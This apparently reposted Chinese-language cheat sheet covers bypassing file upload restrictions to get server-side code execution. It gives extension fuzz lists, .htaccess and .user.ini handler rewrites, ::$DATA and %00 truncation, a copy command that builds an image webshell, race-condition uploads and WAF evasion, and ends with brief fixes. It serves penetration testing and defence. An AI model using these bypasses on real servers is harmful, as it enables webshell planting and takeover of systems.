文件上传
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤
,导致用户可以利用此功能,上传能被服务端解析执行的文件
,并通过此文件获得执行服务端命令的能力
。
上传绕过
类型判断
常规上传
前端绕过
后端绕过
黑名单绕过
尝试特殊后缀(可能未过滤完全)
利用Burp fuzz测试
PHP:
".PHP",".PHP5",".PHP4",".PHP3",".PHP2","PHP1",".html",".htm",".phtml",".pht",".PHP",".PHP5",".PHP4",".PHP3",".PHP2","PHP1",".Html",".Htm",".pHtml"
JSP:
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml"
ASP:
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
后缀大小写绕过
躲避黑名单检测
重写解析规则
(1)Apache下 非nts版本PHP时:利用.htaccess文件绕过
条件:LoadModule rewrite_module modules/mod_rewrite.so rewrite模块为开启状态
<IfModule mime_module>
AddHandler PHP5-script .gif #在当前目录下,只针对gif文件会解析成PHP代码执行
SetHandler application/x-httpd-PHP #在当前目录下,所有文件都会被解析成PHP代码执行
</IfModule>
<FilesMatch "evil.gif">
SetHandler application/x-httpd-PHP #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler PHP5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
(2).user.ini
AddType application/x-httpd-PHP .jpg
将所有后缀为.jpg的文件作为PHP文件解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-PHPBZ
将所有文件名包含BaiZe的文件作为PHP文件解析
文件后缀增加 空格 . _ 尝试绕过(WIndows下)
一般用于Windows服务器,添加空格躲避黑名单检测,上传后系统系统自动去除文件名中空格。
::$DATA绕过
在Windows的时候如果"文件名"+"::$DATA" 会把"::$DATA"之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名
替换文件名中敏感词
一次过滤:可以双写绕过
循环过滤:较为安全
白名单绕过
%00绕过 终止符
%00只针对GET传参,POST传参不能识别URL编码,所以需要在POST内容中进行URL解码 或 修改Hex值为00
图片内容及其它
文件头检测
图片马绕过
copy pho.jpg/b+hack.PHP/a hack.jpg
利用copy命令合成图片马,配合解析漏洞执行
二次渲染 条件竞争逻辑绕过(针对先上传再检测的web网站)
上传生成木马 不断上传并尝试访问 直到执行成功
file_put_contents('2.PHP','');
文件路径控制
upload/upload-19.PHP/.
upload/upload-19.PHP[截断].jpg
数组绕过
后端用数组判断文件后缀
可直接上传对应数组绕过检测
黑盒时依次遍历数组元素,传输规定后缀测试是否为数组后缀检测
编辑器上传点
关键词:Editor
查版本 找历史漏洞EXP fuzz
CMS上传点
CMS识别->历史漏洞搜集->尝试利用
其它/CVE
WAF绕过
上传参数解析
Content-disposition: 一般可更改
name: 表单参数值,不能更改
filename: 文件名,可以更改
Content-Type: 文件MIME,视情况更改
常见绕过
符号变异-防匹配 ' " ;
文件名引号变换 后加分号 去一个引号
数据截断-防匹配 %00 ; 换行 /
.PHP%00.jpg x.jpg;.PHP .PHP中间换行
重复数据-防匹配(参数多次) 复写filename等参数 最后一个改为PHP
文件上传修复
-
后瑞验证:采用服务瑞验证模式
-
后缀检测:基于黑名单,白名单过滤
-
自定义函数过滤:function check file(){}时
-
防护产品:宝塔,云盾,安全狗等
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。